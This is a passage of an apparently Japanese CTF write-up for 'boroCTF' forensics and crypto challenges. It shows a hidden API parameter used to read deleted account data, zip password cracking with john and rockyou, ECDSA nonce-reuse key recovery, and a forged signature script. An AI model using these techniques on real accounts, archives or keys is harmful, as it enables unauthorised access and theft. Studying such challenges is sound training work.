</div>\n</div>\n\n<div id="an-body">\n <div class="an-error-box">\n <div class="an-error-header">\n <div class="an-error-icon">!</div>\n <div>\n <div class="an-error-title">アカウントが見つかりません</div>\n <div class="an-error-subtitle">This account has been suspended or does not exist.</div>\n </div>\n </div>\n <div class="an-error-body">\n <p>\n お探しのアカウントは現在ご利用いただけません。<br>\n The account you are looking for is not available.\n </p>\n <div class="an-error-code-block">\n HTTP 404 Not Found<br>\n \n Requested resource: /profile/mai-sakurajima<br>\n \n This account has been suspended or does not exist.\n </div>\n <p>\n アカウントが停止されたか、ユーザーが退会した可能性があります。<br>\n The account may have been suspended, or the user may have deactivated it.\n </p>\n <p>\n 心当たりがある場合は、<a href="#">サポートページ</a>からお問い合わせください。<br>\n If you believe this is an error, please contact <a href="#">support</a>.\n </p>\n </div>\n <div class="an-error-footer">\n <span><a href="/">← トップページに戻る / Back to Home</a></span>\n <span>Error ID: AN-404-USR</span>\n </div>\n </div>\n</div>\n\n<div id="an-footer">\n © 2009–2013 AobaNet Inc. All rights reserved. | \n <a href="#">利用規約</a> | \n <a href="#">プライバシーポリシー</a> | \n <a href="#">ヘルプ</a>\n</div>\n\n\x3Cscript src="/static/main.js">\x3C/script>\n\x3Cscript>window._modFlags=(function(){var d=atob('aW5jbHVkZV9kZWxldGVk'),v=atob('dHJ1ZQ==');return{k:d,v:v};})();\x3C/script>\n</body>\n</html>`最後の方に以下が書かれている。
d=atob('aW5jbHVkZV9kZWxldGVk')
v=atob('dHJ1ZQ==')$ echo aW5jbHVkZV9kZWxldGVk | base64 -d
include_deleted
$ echo dHJ1ZQ== | base64 -d
true
これを踏まえて以下を実行する。
> fetch('/api/user/mai-sakurajima?include_deleted=true')
.then(async r => {
console.log('status=', r.status);
console.log(await r.text());
});
<
status= 200
{"bio":"Account suspended per user request. Data retained per moderation policy.","deleted_at":"2013/09/01 03:17","display_name":"___________ / ___________","followers":94211,"following":41,"joined":"2011/05/20","location":"Tokyo, Japan","mod_notes":"Soft-deleted 2013-09-01 03:17 JST. Account holder flagged for adolescence syndrome \u2014 subject ceased to be perceived by public observers. Deletion requested by management (ref: ticket #AN-20130901-004). Data preserved under internal policy \u00a74.2(c). Do not surface in public search. Mod review pending. -- boroCTF{th@nk_y0u_y0u_d!d_w3ll_!_l0v3_y0U<3}","posts":1337,"recent_posts":[{"date":"2013/08/31 22:55","id":"m-004","text":"\u307f\u3093\u306a\u3001\u4eca\u65e5\u3082\u899a\u3048\u3066\u3044\u3066\u304f\u308c\u3066\u3042\u308a\u304c\u3068\u3046\u3002"},{"date":"2013/08/30 18:20","id":"m-003","text":"\u307e\u305f\u8ab0\u304b\u306b\u7121\u8996\u3055\u308c\u305f\u3002\u6c17\u3065\u3044\u305f\u3089\u72ec\u308a\u3060\u3063\u305f\u3002\u3067\u3082\u3001\u79c1\u306f\u3053\u3053\u306b\u3044\u308b\u3002"},{"date":"2013/08/28 14:10","id":"m-002","text":"\u64ae\u5f71\u306e\u5408\u9593\u306b\u3072\u3068\u308a\u3067\u30ab\u30d5\u30a7\u306b\u6765\u305f\u3002\u8ab0\u3082\u6c17\u3065\u304b\u306a\u3044\u3002"},{"date":"2013/08/25 09:44","id":"m-001","text":"\u6d88\u3048\u3066\u3044\u304f\u3088\u3046\u306a\u6c17\u304c\u3059\u308b\u3002\u3067\u3082\u6d88\u3048\u305f\u304f\u306a\u3044\u3002"}],"status":"deleted","username":"mai-sakurajima"}このレスポンスにフラグが含まれていた。
boroCTF{th@nk_y0u_y0u_d!d_w3ll_!_l0v3_y0U<3}
Grep'n it (Forensics 100)
$ cat chal | grep boroCTF
boroCTF{G63p_G0d}
boroCTF{G63p_G0d}
Mark Zuckerburg (Forensics 100)
$ exiftool Mark-Zuckerberg.png
ExifTool Version Number : 13.25
File Name : Mark-Zuckerberg.png
Directory : .
File Size : 574 kB
Flash Red Eye Mode : True
ISO : 1000
Metering Mode : Unknown (0)
Creator : Mark
Make : Sonya
Camera Model Name : boroCTF{M3+a_d@ta_1s_M7_Fa40rite}
Rights : BoroCTF
Subject :
Title : Mark's Big Day
Create Date : 2190:02:10 12:53:41.947
Creation Time : 2190:02:10 12:53:41
Image Size : 1638x922
Megapixels : 1.5
Flash : Auto, Fired, Red-eye reduction
boroCTF{M3+a_d@ta_1s_M7_Fa40rite}
kitty kitty meow meow (Forensics 100)
$ strings meow.jpg | grep boroCTF
boroCTF{f0r3nsic_@nalysis
boroCTF{f0r3nsic_@nalysis#}
Billie Eilish (Forensics 100)
$ binwalk billie.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
134843 0x20EBB Zip archive data, encrypted at least v2.0 to extract, compressed size: 114929, uncompressed size: 164909, name: eilish.png
249936 0x3D050 End of Zip archive, footer length: 22
jpgの後ろにzipがくっついているので、切り出す。
$ dd bs=1 if=billie.jpg of=flag.zip skip=134843
115115+0 records in
115115+0 records out
115115 bytes (115 kB, 112 KiB) copied, 12.8318 s, 9.0 kB/s
flag.zipにはパスワードがかかっているので、クラックする。
$ zip2john flag.zip > hash.txt
ver 2.0 efh 5455 efh 7875 flag.zip/eilish.png PKZIP Encr: TS_chk, cmplen=114929, decmplen=164909, crc=2139A681 ts=AE34 cs=ae34 type=8
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badguy (flag.zip/eilish.png)
1g 0:00:00:00 DONE (2026-06-14 07:19) 11.11g/s 546133p/s 546133c/s 546133C/s dyesebel..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
パスワード badguy で解凍する。
$ unzip flag.zip
Archive: flag.zip
[flag.zip] eilish.png password:
inflating: eilish.png
eilish.pngが展開され、その画像にフラグが書いてあった。

boroCTF{im_a_good_guy}
The Shattered Needle (Forensics 100)
たくさんのディレクトリ、ファイルが入っている。おそらくどれかにフラグが入っていると推測する。
$ grep -r boroCTF the_haystack
the_haystack/dir_33/sub_65/data_8.txt:Anomaly: [FLAG_FRAGMENT_1/5]: boroCTF{gr3p_ End.
分断されているようなので、共通文字列と推測できる FLAG_FRAGMENT で検索する。
$ grep -r FLAG_FRAGMENT the_haystack
the_haystack/dir_16/sub_17/data_1.txt:Anomaly: [FLAG_FRAGMENT_3/5]: fr13nd_f0r_ End.
the_haystack/dir_33/sub_65/data_8.txt:Anomaly: [FLAG_FRAGMENT_1/5]: boroCTF{gr3p_ End.
the_haystack/dir_48/sub_53/data_2.txt:Anomaly: [FLAG_FRAGMENT_5/5]: r3sp0ns3} End.
the_haystack/dir_56/sub_5/data_3.txt:Anomaly: [FLAG_FRAGMENT_4/5]: 1nc1d3nt_ End.
the_haystack/dir_69/sub_89/data_10.txt:Anomaly: [FLAG_FRAGMENT_2/5]: 1s_y0ur_b3st_ End.
順番に並べたらフラグになった。
boroCTF{gr3p_1s_y0ur_b3st_fr13nd_f0r_1nc1d3nt_r3sp0ns3}
File Me to the Moon (Forensics 100)
ファイルの拡張子を答える問題。
$ file superfile
superfile: Microsoft PowerPoint 2007+
boroCTF{pptx}
Silent Sentinel (Forensics 100)
pcapから歴史的宇宙船の画像が得られるので、その名前を答える問題。
tcpでフィルタリングすると、最初のパケットのペイロードの先頭がjpgらしきヘッダになっている。すべてのデータを結合する。
from scapy.all import *
packets = rdpcap('space.pcap')
flag = b''
for p in packets:
if p.haslayer(TCP) and p.haslayer(Raw):
flag += p[Raw].load
with open('flag.jpg', 'wb') as f:
f.write(flag)

生成した画像を検索すると、以下のページが見つかる。
https://airandspace.si.edu/collection-objects/satellite-vanguard-1-backup/nasm_A19761019000
衛星の名前は Vanguard 1 となっている。
boroCTF{vanguard_1}
Satoshi: A Memory of The Past (Forensics 100)
Ghidraでmainのアセンブリを見てみる。
0010122d c7 85 70 MOV dword ptr [RBP + -0x200090],0x20
ff df ff
20 00 00 00
00101237 c7 85 74 MOV dword ptr [RBP + -0x20008c],0x2d
ff df ff
2d 00 00 00
00101241 c7 85 78 MOV dword ptr [RBP + -0x200088],0x30
ff df ff
30 00 00 00
0010124b c7 85 7c MOV dword ptr [RBP + -0x200084],0x2d
ff df ff
2d 00 00 00
00101255 c7 85 80 MOV dword ptr [RBP + -0x200080],0x1
ff df ff
01 00 00 00
0010125f c7 85 84 MOV dword ptr [RBP + -0x20007c],0x16
ff df ff
16 00 00 00
00101269 c7 85 88 MOV dword ptr [RBP + -0x200078],0x4
ff df ff
04 00 00 00
00101273 c7 85 8c MOV dword ptr [RBP + -0x200074],0x39
ff df ff
39 00 00 00
0010127d c7 85 90 MOV dword ptr [RBP + -0x200070],0x31
ff df ff
31 00 00 00
00101287 c7 85 94 MOV dword ptr [RBP + -0x20006c],0x76
ff df ff
76 00 00 00
00101291 c7 85 98 MOV dword ptr [RBP + -0x200068],0x36
ff df ff
36 00 00 00
0010129b c7 85 9c MOV dword ptr [RBP + -0x200064],0x72
ff df ff
72 00 00 00
001012a5 c7 85 a0 MOV dword ptr [RBP + -0x200060],0x31
ff df ff
31 00 00 00
001012af c7 85 a4 MOV dword ptr [RBP + -0x20005c],0x2a
ff df ff
2a 00 00 00
001012b9 c7 85 a8 MOV dword ptr [RBP + -0x200058],0x73
ff df ff
73 00 00 00
001012c3 c7 85 ac MOV dword ptr [RBP + -0x200054],0x1d
ff df ff
1d 00 00 00
001012cd c7 85 b0 MOV dword ptr [RBP + -0x200050],0x73
ff df ff
73 00 00 00
001012d7 c7 85 b4 MOV dword ptr [RBP + -0x20004c],0x2c
ff df ff
2c 00 00 00
001012e1 c7 85 b8 MOV dword ptr [RBP + -0x200048],0x1d
ff df ff
1d 00 00 00
001012eb c7 85 bc MOV dword ptr [RBP + -0x200044],0x36
ff df ff
36 00 00 00
001012f5 c7 85 c0 MOV dword ptr [RBP + -0x200040],0x2a
ff df ff
2a 00 00 00
001012ff c7 85 c4 MOV dword ptr [RBP + -0x20003c],0x71
ff df ff
71 00 00 00
00101309 c7 85 c8 MOV dword ptr [RBP + -0x200038],0x1d
ff df ff
1d 00 00 00
00101313 c7 85 cc MOV dword ptr [RBP + -0x200034],0x21
ff df ff
21 00 00 00
0010131d c7 85 d0 MOV dword ptr [RBP + -0x200030],0x76
ff df ff
76 00 00 00
00101327 c7 85 d4 MOV dword ptr [RBP + -0x20002c],0x21
ff df ff
21 00 00 00
00101331 c7 85 d8 MOV dword ptr [RBP + -0x200028],0x2a
ff df ff
2a 00 00 00
0010133b c7 85 dc MOV dword ptr [RBP + -0x200024],0x71
ff df ff
71 00 00 00
00101345 c7 85 e0 MOV dword ptr [RBP + -0x200020],0x3f
ff df ff
3f 00 00 00
0010134f c7 85 4c MOV dword ptr [RBP + -0x2000b4],0x1d
ff df ff
1d 00 00 00
00101359 c7 85 30 MOV dword ptr [RBP + -0x2000d0],0x0
ff df ff
00 00 00 00
00101363 c7 85 34 MOV dword ptr [RBP + -0x2000cc],0x0
ff df ff
00 00 00 00また、以下の部分がある。
LAB_001013a4 XREF[1]: 00101544(j)
001013a4 8b 85 38 MOV EAX,dword ptr [RBP + -0x2000c8]
ff df ff
001013aa 48 98 CDQE
001013ac 8b 84 85 MOV EAX,dword ptr [RBP + RAX*0x4 + -0x200090]
70 ff df ff
001013b3 83 f0 42 XOR EAX,0x42
001013b6 88 85 2f MOV byte ptr [RBP + -0x2000d1],AL
ff df ff
001013bc c7 85 3c MOV dword ptr [RBP + -0x2000c4],0x7
ff df ff
07 00 00 00
001013c6 e9 59 01 JMP LAB_00101524
00 000010122d以降の命令で格納している値と0x42をXORする。
>>> s = [0x20, 0x2d, 0x30, 0x2d, 0x1, 0x16, 0x4, 0x39, 0x31, 0x76, 0x36, 0x72, 0x31, 0x2a, 0x73, 0x1d, 0x73, 0x2c, 0x1d, 0x36, 0x2a, 0x71, 0x1d, 0x21, 0x76, 0x21, 0x2a, 0x71, 0x3f]
>>> ''.join([chr(c ^ 0x42) for c in s])
'boroCTF{s4t0sh1_1n_th3_c4ch3}'
boroCTF{s4t0sh1_1n_th3_c4ch3}
Retinal Burn (Forensics 200)
StegSolveで開き、Red plane 0を見ると、以下の文字列などが現れた。
fakeCTF{I_HATE_RED☹☹}
さらに見ていくと、Green plane 0とBlue plane 0で何か文字列らしきものが見える。緑のLSBと青のLSBのXORにより白黒を判別して画像を生成する。
from PIL import Image
img = Image.open('burn.png').convert('RGB')
w, h = img.size
output_img = Image.new('RGB', (w, h), (255, 255, 255))
for y in range(h):
for x in range(w):
r, g, b = img.getpixel((x, y))
g_lsb = g & 1
b_lsb = b & 1
if g_lsb ^ b_lsb:
output_img.putpixel((x, y), (0, 0, 0))
output_img.save('flag.png')

生成した画像にフラグが何となく見える。
BoroCTF{0w_^MY_E7ES!}
Meeting Location (Forensics 200)
icmpでフィルタリングする。No.1481以降のみ長さが29になっていて、Data部に1バイトずつデータが入っている。このデータを書き出していく。
WWFzX01hcmluYV9DaXJjdWl0
base64デコードする。
$ echo WWFzX01hcmluYV9DaXJjdWl0 | base64 -d
Yas_Marina_Circuit
boroCTF{Yas_Marina_Circuit}
Looking through Windows (Forensics 200)
FTK Imagerで開き、[root]-[$RECYCLE.BIN]-[S-1-...]の下にflag.txtを含む $RIFYI8L.zip があるので、エクスポートする。
パスワードがかかっている。flag.zipにリネームし、パスワードクラックする。
$ zip2john flag.zip > hash.txt
ver 2.0 flag.zip/flag.txt PKZIP Encr: cmplen=41, decmplen=29, crc=FA2B3A69 ts=8366 cs=fa2b type=0
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
forget92936281 (flag.zip/flag.txt)
1g 0:00:00:05 DONE (2026-06-14 08:06) 0.1883g/s 1521Kp/s 1521Kc/s 1521KC/s four015..fodona64
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
パスワード forget92936281 で解凍し、展開されるflag.txtの内容を確認する。
$ unzip flag.zip
Archive: flag.zip
[flag.zip] flag.txt password:
extracting: flag.txt
$ cat flag.txt
boroCTF{f!l3_f0r3nsics_FTW!!}
boroCTF{f!l3_f0r3nsics_FTW!!}
File-et Mignon (Forensics 200)
$ gzip -d filet_mignon_challenge.tar.gz
gzip: filet_mignon_challenge.tar: Value too large for defined data type
tarファイルは正しい情報になっていない。含まれている文字列を確認してみる。
$ strings filet_mignon_challenge.tar
filet_mignon.bin
0000644
0001750
0001750
00000100000
15212261173
024417
ustar
amer
amer
00000010000
00000010000
00000010000
00000010000
00000010000
00000010000
00000010000
00000010000
00000000000
boroC
TF{y0
u_c4r
v3d_t
h3_v0
1d_l1
k3_4_
ch3f}
後半の文字列を結合する。
boroCTF{y0u_c4rv3d_th3_v01d_l1k3_4_ch3f}
Listen Close (Forensics 200)
Audacityで開き、スペクトログラムを見ると、フラグが現れた。

boroCTF{Sp3c^R0}
Chronos (Forensics 200)
各パケットの時間差を見てみると、約0.25と約0.75のパターンの2種類あることがわかる。短い方を"0"、長い方を"1"にしてデコードする。
from scapy.all import *
packets = rdpcap('chronos.pcap')
b_data = ''
pre_time = 1718000000
for p in packets:
cur_time = p.time
diff_time = cur_time - pre_time
if diff_time >= 0.24 and diff_time <= 0.26:
b_data += '0'
else:
b_data += '1'
pre_time = cur_time
flag = ''
for i in range(0, len(b_data), 8):
flag += chr(int(b_data[i: i+8], 2))
print(flag)
boroCTF{c0mbobulat3_sp@gh3tti_nep0t1$m}
Blackwall Protocol (Forensics 200)
$ file david_last_moments.bd
david_last_moments.bd: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)
拡張子をpcapに変更し、Wiresharkで見てみる。各パケットの時間差を見てみると、約0.000150と約0.000650のパターンの2種類あることがわかる。UDPのパケットのみを対象に短い方を"0"、長い方を"1"にしてデコードする。
from scapy.all import *
packets = rdpcap('david_last_moments.pcap')
b_data = ''
pre_time = 0
for p in packets:
if p.haslayer(UDP):
cur_time = int(str(p.time).split('.')[1])
diff_time = cur_time - pre_time
if diff_time >= 149 and diff_time <= 151:
b_data += '0'
else:
b_data += '1'
pre_time = cur_time
flag = ''
for i in range(0, len(b_data), 8):
flag += chr(int(b_data[i: i+8], 2))
print(flag)
boroCTF{s4nd3v1st4n_gh0st_1n_th3_m4ch1n3_8f92a}
Judgment of Solomon (Forensics 300)
$ grep -oE 'boroCTF\{.+\}' code
boroCTF{I_C0xL6n"+_d0_it_St11nz_n0w_go}
これは通らなかった。0Aを改行とし、上記のフラグを取り除くと、RGBで66×66の画像にできそう。
from PIL import Image
with open('code', 'r') as f:
lines = f.read().splitlines()
data = lines[0].replace('0A', '\n')
data = data.replace('boroCTF{I_C0xL6n"+_d0_it_St11nz_n0w_go}', '')
data = data.splitlines()
WIDTH = 66
HEIGHT = 66
output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))
for y in range(HEIGHT):
row_hex = data[y]
for x in range(WIDTH):
row = bytes.fromhex(row_hex)
r = row[x * 3 + 0]
g = row[x * 3 + 1]
b = row[x * 3 + 2]
output_img.putpixel((x, y), (r, g, b))
output_img.save('chall.png')

実行した結果、QRコードっぽい画像になった。ただこのままでは、読めないので、QRコードとして認識できるよう書き出す。
XXXXXXX_XXX_X_XX__X_X_X___XXXXXXX
X_____X_X_XXX__XXXX__X_X__X_____X
X_XXX_X__XX_X_X_XXX___XX__X_XXX_X
X_XXX_X_XXX__X_X_XX__XXX__X_XXX_X
X_XXX_X_X______XXX____X_X_X_XXX_X
X_____X_XX__XX_X_X_X_XX_X_X_____X
XXXXXXX_X_X_X_X_X_X_X_X_X_XXXXXXX
__________XXX_XX___XXXXXX________
___X________X_X__XX_____X__XXX_XX
X___X_________X_X_X______XX__XX__
XXXXX_XXXXXX_X__________XXX_X_X_X
X___X__X___XX_XX__X_____X_XX_X__X
__XXXXX__X__X__X_X__X___X_X______
X__X_X__X_____XXX___XXX_X_X_XX__X
___X_XX__XX_X_X__XXX_X_X_XXX_X_X_
X_X_X___X_X_XXXX__X__X_XX_XXXX_X_
_XXXXXX_____XXXXX_XX_XX___XX_X_XX
X___XX____X_X_XXX__X__X_X________
__X_X_XX_X_X_XXX_XXXXX___XX_X__XX
X__X___XXXXXXXXXX___XX___X__X___X
X_X__XXX__XX_X_X_XX__X_X_X_X_X___
_XX_____XX_X_XXXX_XXX_X_XXXX__XX_
XXX_XXX_____X_XXX___XXX_X___XX__X
_XX_XX_X___XX___X_XXXXXXX____X___
X_XXX_XXXXX___XX____XX_XXXXXX____
________XXXXXX__X__X_XX_X___XX___
XXXXXXX___X__X__X_X___X_X_X_X_XX_
X_____X___XX___XX_X_XXXXX___X___X
X_XXX_X___X___XXXXXX____XXXXXX_X_
X_XXX_X_X__X__XXX_XXX_XXX_X_X__X_
X_XXX_X__XXX_X_XX_X___XXX_XXX_X_X
X_____X__XXXXX_X_X_XX__XXX_______
XXXXXXX__XX__X_XXX_X__X_XX_X_____
$ cat qr.txt
XXXXXXX_XXX_X_XX__X_X_X___XXXXXXX
X_____X_X_XXX__XXXX__X_X__X_____X
X_XXX_X__XX_X_X_XXX___XX__X_XXX_X
X_XXX_X_XXX__X_X_XX__XXX__X_XXX_X
X_XXX_X_X______XXX____X_X_X_XXX_X
X_____X_XX__XX_X_X_X_XX_X_X_____X
XXXXXXX_X_X_X_X_X_X_X_X_X_XXXXXXX
__________XXX_XX___XXXXXX________
___X________X_X__XX_____X__XXX_XX
X___X_________X_X_X______XX__XX__
XXXXX_XXXXXX_X__________XXX_X_X_X
X___X__X___XX_XX__X_____X_XX_X__X
__XXXXX__X__X__X_X__X___X_X______
X__X_X__X_____XXX___XXX_X_X_XX__X
___X_XX__XX_X_X__XXX_X_X_XXX_X_X_
X_X_X___X_X_XXXX__X__X_XX_XXXX_X_
_XXXXXX_____XXXXX_XX_XX___XX_X_XX
X___XX____X_X_XXX__X__X_X________
__X_X_XX_X_X_XXX_XXXXX___XX_X__XX
X__X___XXXXXXXXXX___XX___X__X___X
X_X__XXX__XX_X_X_XX__X_X_X_X_X___
_XX_____XX_X_XXXX_XXX_X_XXXX__XX_
XXX_XXX_____X_XXX___XXX_X___XX__X
_XX_XX_X___XX___X_XXXXXXX____X___
X_XXX_XXXXX___XX____XX_XXXXXX____
________XXXXXX__X__X_XX_X___XX___
XXXXXXX___X__X__X_X___X_X_X_X_XX_
X_____X___XX___XX_X_XXXXX___X___X
X_XXX_X___X___XXXXXX____XXXXXX_X_
X_XXX_X_X__X__XXX_XXX_XXX_X_X__X_
X_XXX_X__XXX_X_XX_X___XXX_XXX_X_X
X_____X__XXXXX_X_X_XX__XXX_______
XXXXXXX__XX__X_XXX_X__X_XX_X_____
$ python2 sqrd.py qr.txt
boroCTF{I_f1%ed_wHat_w4$_br0Ken}
boroCTF{I_f1%ed_wHat_w4$_br0Ken}
A basic start (Crypto 100)
Beforeの方はbase64文字列なので、デコードする。
$ echo VXNlcjE6IEhleSwgSSB0aGluayB0aGUgQm9ybyB0ZWFtIGlzIG9udG8gdXMhClVzZXIyOiBObyBXYXkhIFRoZXkncmUgZ29pbmcgdG8gc2VuZCB0aGUgQ1RGIHBhcnRpY2lwYW50cyBhZnRlciB1cyEKVXNlcjM6IEl0J2xsIGJlIG9rYXksIHdlJ2xsIG1vdmUgdG8gYW5vdGhlciBiYXNlIGVuY29kaW5nIQ== | base64 -d
User1: Hey, I think the Boro team is onto us!
User2: No Way! They're going to send the CTF participants after us!
User3: It'll be okay, we'll move to another base encoding!
やはりこちらにはフラグはない。Afterの方はいろいろbase系をデコードしてみたところ、base91がヒットし、https://www.dcode.fr/base-91-encodingでデコードできた。
User1: Okay we're on the new encoding.
User2: You wonder if anyones ever reading your messages?
User1: Nope. boroCTF{B@5ics_0f_B@si6s}
boroCTF{B@5ics_0f_B@si6s}
Boro Coin 1 (Crypto 100)
ECDSAは同じrが使われていると秘密鍵が簡単に算出できる。この場合、以下のように式を変形し、kを求めることができる。
s1 = (pow(k, -1, n) * (z1 + r * d)) % n
s2 = (pow(k, -1, n) * (z2 + r * d)) % n
↓
s1 - s2 = (pow(k, -1, n) * (z1 - z2) % n
↓
k = (z1 - z2) * pow(s1 - s2, -1, n) % nkがわかれば、逆算してdを求めることができる。
import json
import hashlib
from ecdsa import SECP256k1
curve = SECP256k1
n = curve.order
with open('transactions.json', 'r') as f:
json_data = json.load(f)
rs = []
ss = []
trs = []
for k, v in json_data.items():
index = 0
sig = v['signature_der']
index += 4
assert sig[index:index+2] == '02'
index += 2
size = int(sig[index:index + 2], 16)
index += 2
r = int(sig[index:index + size * 2], 16)
index += size * 2
assert sig[index:index+2] == '02'
index += 2
size = int(sig[index:index + 2], 16)
index += 2
s = int(sig[index:index + size * 2], 16)
rs.append(r)
ss.append(s)
trs.append(v)
found = False
for i in range(len(rs)):
for j in range(i + 1, len(rs)):
if rs[i] == rs[j]:
found = True
trs0 = trs[i]
trs1 = trs[j]
r0 = rs[i]
s0 = ss[i]
r1 = rs[j]
s1 = ss[j]
break
m0 = ':'.join([trs0['sender'], trs0['recipient'], trs0['amount']])
m1 = ':'.join([trs1['sender'], trs1['recipient'], trs1['amount']])
z0 = int(hashlib.sha256(m0.encode()).hexdigest(), 16)
z1 = int(hashlib.sha256(m1.encode()).hexdigest(), 16)
assert r0 == r1
k = (z0 - z1) * pow(s0 - s1, -1, n) % n
d = (s0 * k - z0) * pow(r0, -1, n) % n
flag = f'boroCTF{{{hex(d)[2:]}}}'
print(flag)
boroCTF{1b7ba9dafeb7c7a30fd8043a656c3ab89509db070dbd48b593d8e266b56ca22d}
Boro Coin 2 (Crypto 100)
senderは"Suspect"、recipientは"Boro_Confiscation_Committee"。amountは全額なので、初期値と入金、出金から計算する。
あとは「Boro Coin 1」で算出したパラメータを使って、署名を作成する。
import json
import hashlib
from ecdsa import SECP256k1
from cryptography.hazmat.primitives.asymmetric.utils import encode_dss_signature
curve = SECP256k1
n = curve.order
with open('transactions.json', 'r') as f:
json_data = json.load(f)
rs = []
ss = []
trs = []
amount = 51.42
for k, v in json_data.items():
index = 0
sig = v['signature_der']
index += 4
assert sig[index:index+2] == '02'
index += 2
size = int(sig[index:index + 2], 16)
index += 2
r = int(sig[index:index + size * 2], 16)
index += size * 2
assert sig[index:index+2] == '02'
index += 2
size = int(sig[index:index + 2], 16)
index += 2
s = int(sig[index:index + size * 2], 16)
rs.append(r)
ss.append(s)
trs.append(v)
if v['flow'] == 'Incoming' and v['sender'] != 'Suspect':
amount += float(v['amount'])
elif v['flow'] == 'Outgoing' and v['recipient'] != 'Suspect':
amount -= float(v['amount'])
found = False
for i in range(len(rs)):
for j in range(i + 1, len(rs)):
if rs[i] == rs[j]:
found = True
trs0 = trs[i]
trs1 = trs[j]
r0 = rs[i]
s0 = ss[i]
r1 = rs[j]
s1 = ss[j]
break
m0 = ':'.join([trs0['sender'], trs0['recipient'], trs0['amount']])
m1 = ':'.join([trs1['sender'], trs1['recipient'], trs1['amount']])
z0 = int(hashlib.sha256(m0.encode()).hexdigest(), 16)
z1 = int(hashlib.sha256(m1.encode()).hexdigest(), 16)
assert r0 == r1
k = (z0 - z1) * pow(s0 - s1, -1, n) % n
d = (s0 * k - z0) * pow(r0, -1, n) % n
amount = "{:.2f}".format(amount)
m = 'Suspect:Boro_Confiscation_Committee:' + amount
z = int(hashlib.sha256(m.encode()).hexdigest(), 16)
r = r0
s = int((pow(k, -1, n) * (z + r * d)) % n)
sig = encode_dss_signature(r, s).hex()
flag = f'boroCTF{{{sig}}}'
print(flag)
boroCTF{304402202cbda85fc21f5e62f94d8378d2dad1a05bc5d5522d5a717f2bdf1df13d558ec70220033a47e398c6d81b053a235884c13b41f5618a6fa85715198a09beefdd5c3342}
Efficient Encryption (Crypto 100)
ナンプレの問題のようだ。ただし、使われる文字は以下の9種類。
1@ALNQRST
Excel上に配置し、解いていく。

一番上の段がフラグになる。
boroCTF{L@T1NSQAR}
Johnny Boy (Crypto 100)
zipはパスワードがかかっているので、クラックする。
$ zip2john a_USE.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 366 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chips (a_USE.zip/USE.log)
1g 0:00:00:00 DONE (2026-06-15 08:07) 3.125g/s 102400p/s 102400c/s 102400C/s christal..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
パスワード chips で解凍し、展開されたファイルの内容を確認する。
$ 7z x a_USE.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 564 bytes (1 KiB)
Extracting archive: a_USE.zip
--
Path = a_USE.zip
Type = zip
Physical Size = 564
Enter password (will not be echoed):
Everything is Ok
Size: 1387
Compressed: 564
$ cat USE.log
[2026-02-09 17:20:01] INFO Idle process heartbeat: System state nominal.
[2026-02-09 17:20:11] INFO Routine polling: No updates found.
[2026-02-09 17:20:21] DEBUG Thread id=0842 reporting status: Awaiting instruction.
[2026-02-09 17:20:31] INFO Idle process heartbeat: System state nominal.
[2026-02-09 17:20:41] TRACE Buffer check: 0 bytes pending.
[2026-02-09 17:20:51] INFO Routine polling: No updates found.
[2026-02-09 17:21:01] INFO Idle process heartbeat: System state nominal.
[2026-02-09 17:21:11] DEBUG Maintenance task 'noop' completed in 0.001ms.
[2026-02-09 17:21:21] INFO Routine polling: No updates found.
[2026-02-09 17:21:31] INFO Idle process heartbeat: System state nominal.
[2026-02-09 17:21:41] TRACE Cache integrity: Verified (unchanged).
[2026-02-09 17:21:51] INFO Routine polling: No updates found.
[2026-02-09 17:22:01] INFO Idle process heartbeat: System state nominal.
[2026-02-09 17:22:11] DEBUG Keep-alive packet sent to localhost.
[2026-02-09 17:22:21] INFO Routine polling: No updates found.
[2026-02-09 17:22:31] INFO Idle process heartbeat: System state nominal.
[2026-02-09 17:22:41] TRACE Stack scan: No anomalies detected.
[2026-02-09 17:22:51] INFO Routine polling: No updates found.
[2026-02-09 17:23:01] INFO Idle process heartbeat: System state nominal.
[2026-02-09 17:23:11] DEBUG System clock sync: 0.000s offset.
他の3つのファイルについても同様に実行してみる。
$ zip2john b_JOHN.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 89 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
fishandchips (b_JOHN.zip/JOHN.log)
1g 0:00:00:00 DONE (2026-06-15 08:11) 4.347g/s 142469p/s 142469c/s 142469C/s christal..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
$ 7z x b_JOHN.zip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 289 bytes (1 KiB)
Extracting archive: b_JOHN.zip
--
Path = b_JOHN.zip
Type = zip
Physical Size = 289
Enter password (will not be echoed):
Everything is Ok
Size: 93
Compressed: 289
$ cat JOHN.log
[2026] INFO PASSWORD INSECURE PLEASE MOVE LOGS
[2026] MESSAGE SYSADMIN "fine I'll move them"
$ zip2john c_THE.zip > hash.txt
